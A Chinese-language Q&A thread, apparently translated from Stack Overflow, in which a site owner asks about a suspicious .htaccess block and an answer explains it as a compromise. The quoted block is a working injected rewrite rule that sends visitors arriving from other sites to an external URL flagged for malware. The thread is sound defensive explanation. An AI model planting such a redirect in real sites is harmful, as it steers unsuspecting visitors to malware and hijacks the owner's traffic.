1

我在我的.htaccess中找到了以下代码

# Begin redirect block #
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
RewriteRule ^.*$ http://kasiacleaningservice.com/blog/?p=5510&comment=552792 [L,R]
</IfModule>
# End redirect block #

我还尝试导航到 Google 怀疑它包含Malware上方的 URL 。上面的代码是做什么的?

4

1 回答 1

2

服务器上的某些妥协可能将该块放置在您的 htaccess 文件中。我认为该http://kasiacleaningservice.com网站不是你的。%{HTTP_REFERER}var 是请求的“Referer”标头。它是请求的 URI 来自(或被“引用”)的 URL。%{HTTP_HOST}var 是“主机”标头。第一个条件:

RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)

只是创建主机名的捕获组,没有任何子域或“www”。第二个条件:

RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]

正在反向引用第一个捕获组(通过%1)并将其与“主机”标头值进行比较。本质上,它确保引用者中的主机是请求的 URL 中的不同主机。这意味着当我一次访问您网站上的任何页面时,我会立即被重定向到http://kasiacleaningservice.com/blog/?p=5510&comment=552792. 但是,如果我已经在您的网站上,我可以很好地导航它而无需任何重定向。

于 2013-08-29T10:10:20.957 回答